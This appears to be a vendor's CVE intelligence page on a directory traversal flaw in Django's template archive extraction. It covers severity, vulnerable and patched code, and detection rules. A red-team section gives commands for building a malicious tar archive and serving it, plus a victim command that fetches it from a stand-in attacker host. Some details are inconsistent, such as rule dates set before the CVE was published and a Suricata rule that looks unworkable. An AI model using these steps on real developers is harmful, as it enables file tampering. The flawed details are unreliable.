☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Django logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 3.1 🐛 CWE-23
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-59682

CVE-2025-59682 Directory Traversal in Django
📅 PUBLISHED: 2025-10-01 00:00 UTC 🔄 UPDATED: 2026-09-23 20:36 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.91%
👁️
0.91% probability
22.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
3.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-59682 is a partial directory traversal vulnerability in Django's django.utils.archive.extract() function, which is used by the startapp --template and startproject --template commands. The vulnerability allows an attacker to craft a malicious archive (e.g., .tar, .zip) where file paths share a common prefix with the target extraction directory, enabling files to be written outside the intended directory. This can lead to arbitrary file write within the constraints of the common prefix, potentially overwriting critical application files or injecting malicious code.

The vulnerability affects Django versions 4.2 before 4.2.25, 5.1 before 5.1.13, and 5.2 before 5.2.7. The CVSS score is 3.1 (Low), as exploitation requires user interaction (e.g., a developer extracting a malicious template archive) and is limited by the common prefix constraint. No public proof-of-concept (PoC) or exploit code is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Django is a widely used Python web framework distributed via PyPI. This vulnerability impacts the supply chain when developers use startapp --template or startproject --template with untrusted archive files. An attacker could inject malicious code into a project by crafting a template archive that writes files outside the intended directory, potentially leading to remote code execution if the overwritten files are executed (e.g., settings.py, urls.py). Organizations should verify the integrity of template archives and ensure they are obtained from trusted sources.

CVSS Breakdown & Threat Level

  • CVSS Score: 3.1 (Low)
  • Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector (AV): Local (L) – Requires local access to the file system.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must extract a malicious archive.
  • Scope (S): Unchanged (U) – Vulnerability does not affect other components.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): Low (L) – Limited file write capability.
  • Availability (A): None (N) – No denial of service.

Threat Level: Low. Exploitation requires user interaction and is limited by the common prefix constraint. However, in a development environment, a malicious template archive could lead to code injection or configuration tampering.

Deep Dive & Mechanics

The vulnerability resides in the django.utils.archive.extract() function, which is used to extract template archives for startapp and startproject commands. The function extracts files from an archive (e.g., .tar, .zip) into a target directory. The flaw occurs when file paths in the archive share a common prefix with the target directory. For example, if the target directory is /tmp/project, a file path like /tmp/project/../malicious.py would be normalized to /tmp/malicious.py, escaping the target directory. However, the vulnerability is "partial" because it only works when the file path starts with the same prefix as the target directory.

The root cause is insufficient validation of extracted file paths. The function does not check whether the resolved path (after normalization) still resides within the target directory. This allows an attacker to craft an archive with paths like target_dir/../outside_file.py to write files outside the intended location.

Attack Scenario:

  1. An attacker creates a malicious archive (e.g., malicious_template.tar) containing a file with a path like myproject/../settings.py.
  2. The attacker distributes the archive via a public repository or social engineering.
  3. A developer runs django-admin startproject --template=malicious_template.tar myproject.
  4. The extract() function extracts the archive, writing settings.py to a directory outside myproject, potentially overwriting the project's actual settings.py.

Vulnerable vs. Patched Code

Vulnerable Code (Django < 4.2.25, < 5.1.13, < 5.2.7):

# django/utils/archive.py (simplified)
def extract(self, path, to_path):
    for member in self.getmembers():
        member_path = os.path.join(to_path, member.name)
        # No validation of member_path relative to to_path
        self._extract_member(member, member_path)

Patched Code (Django 4.2.25, 5.1.13, 5.2.7):

# django/utils/archive.py (simplified)
import os

def extract(self, path, to_path):
    to_path = os.path.realpath(to_path)
    for member in self.getmembers():
        member_path = os.path.realpath(os.path.join(to_path, member.name))
        if not member_path.startswith(to_path + os.sep):
            raise ValueError("Archive member path is outside the target directory")
        self._extract_member(member, member_path)

The patch uses os.path.realpath() to resolve symlinks and normalize paths, then checks that the resolved member path starts with the resolved target directory path. This prevents directory traversal.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Python 3.x with Django < 4.2.25, < 5.1.13, or < 5.2.7.
  • Ability to create a malicious archive.

Step 1: Create a Malicious Archive

# Create a directory structure that exploits the vulnerability
mkdir -p malicious_template
cd malicious_template
echo "malicious content" > ../outside_file.txt
# Create a tar archive with a path that shares a common prefix
tar -cf ../malicious_template.tar --transform='s|../outside_file.txt|myproject/../outside_file.txt|' ../outside_file.txt
cd ..

Step 2: Host the Archive

# Host on a local server or distribute via email
python3 -m http.server 8000

Step 3: Trigger Extraction

# Victim runs:
django-admin startproject --template=http://attacker.com/malicious_template.tar myproject

Expected Result: The file outside_file.txt is written to the parent directory of myproject, demonstrating directory traversal.

Blue Team (Defense & Detection)

Detection:

  • Monitor for django-admin startproject or startapp commands with --template pointing to external URLs.
  • Audit template archives for suspicious file paths (e.g., containing ..).
  • Use file integrity monitoring (FIM) to detect unexpected file writes outside project directories.

Prevention:

  • Apply the patch by upgrading Django to the latest version.
  • Restrict network access to only trusted template sources.
  • Use a sandboxed environment for template extraction.

Indicators of Compromise (IOCs)

  • File Paths: Archives containing paths with ../ or other traversal sequences.
  • Network Connections: Outbound connections to untrusted servers when using --template with a URL.
  • File System Changes: Unexpected files written outside the intended project directory (e.g., /tmp/project/../malicious.py).
  • Process Anomalies: django-admin processes with unusual arguments.

Detection Engineering

YARA Rule

rule CVE_2025_59682_Django_Traversal {
    meta:
        description = "Detects malicious archives exploiting CVE-2025-59682"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-59682"
    strings:
        $traversal = /\.\.\// nocase
        $tar_magic = { 75 73 74 61 72 } // "ustar" magic bytes
        $zip_magic = { 50 4B 03 04 } // ZIP magic bytes
    condition:
        ($tar_magic or $zip_magic) and #traversal > 0
}

Sigma Rule

title: Django Template Archive Directory Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects extraction of archives with directory traversal patterns via Django admin commands
author: Valters IT
date: 2025/04/10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/django-admin'
        CommandLine|contains|all:
            - 'startproject'
            - '--template'
    condition: selection
falsepositives:
    - Legitimate use of templates with nested directories
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59682 Django Template Archive Download"; flow:to_server; content:"django-admin"; http_client_body; content:"startproject"; http_client_body; content:"--template"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Django to version 4.2.25, 5.1.13, or 5.2.7 (or later).
  2. If upgrade is not possible, avoid using --template with untrusted archives.
  3. Manually inspect any template archives before extraction.

Long-Term Measures:

  • Implement a security policy for using third-party templates.
  • Use a dedicated, isolated environment for project scaffolding.
  • Regularly audit dependencies and apply security patches.

Workaround:

  • For critical systems, disable the startapp and startproject commands or restrict their usage via custom management commands.

Report generated by Valters IT DevSecOps & CTI Framework. This analysis is for authorized security testing and defensive purposes only.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-59682/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.